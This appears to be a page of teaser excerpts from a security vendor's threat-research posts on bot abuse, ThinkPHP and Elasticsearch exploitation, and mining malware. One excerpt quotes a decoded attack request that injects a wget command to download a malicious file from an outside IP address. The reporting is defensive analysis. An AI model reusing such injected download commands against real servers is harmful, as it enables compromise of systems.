While investigating a recent threat campaign, F5 researchers encountered a strange behaviour where malicious requests were originating from legitimate Googlebot servers. This relatively infrequent behavior could potentially have serious consequences in environments where the trust level given to Googlebot influences an organization’s security decisions. The Trust Paradox Google’s official support site advises to “make sure…
Read MoreData from the Retail Cyber Intelligence Sharing Center (R-CISC) echoes the F5 SOC findings and shows that dramatic increases in shopping activity actually continue into January, making retailers a likely target of attackers.1 In a 2018 survey of R-CISC members, respondents expressed their concern, identifying phishing, credential compromise, and account takeover (ATO) among their top…

Read MoreKey Points Only a few days after the ThinkPHP vulnerability was discovered, it is already being exploited on the Internet. Almost 46,000 servers, most of which are located in China, are potential targets for this exploit. Multiple campaigns have been launched simultaneously by different threat actors, which might suggest the infection potential. Campaigns vary from…

During the 2016 US presidential election debates, bots were used on…
Read MoreAfter the vulnerable server decodes the string, it is instructed to download a malicious file. The malicious request after decoding is: oProxyCommand= wget http://185.29.8.28/down.php&port=143&user=sdf&passwd=sadf&server_type=imap&f_submit=Submit. Again, in this case the threat actor took down the malicious file download.php before the researchers could download it to analyze. Weathermap Editor (cacti plugin) Arbitrary Code Execution (CVE-2013-3739) Another known…
Read MoreConclusion Continuing the trend from January, threat actors in February delivered crypto-miners and Mirai variants. Most of the vulnerabilities exploited in February are not new, however, they are known vulnerabilities in popular applications and systems. In these cases, a threat actor is not looking for a specific target, but instead tries to exploit as many…

The same is also true for sophisticated cyber-gangs. Many still wrongly believe that the dark web is exclusively inhabited by hoodie-clad teenagers and legions of disaffected disruptors. The truth is, the average hacker is…
Read MoreRecently, threat researchers from F5 Networks spotted a new campaign targeting Elasticsearch systems. It leverages an exploit from 2014 to spread several new malwares designed to deploy an XMR (Monero) mining operation. The campaign exploits a five-year-old vulnerability (CVE-2014-3120) in Elasticsearch systems running on both Windows and Linux platforms to mine XMR cryptocurrency. On Linux,…
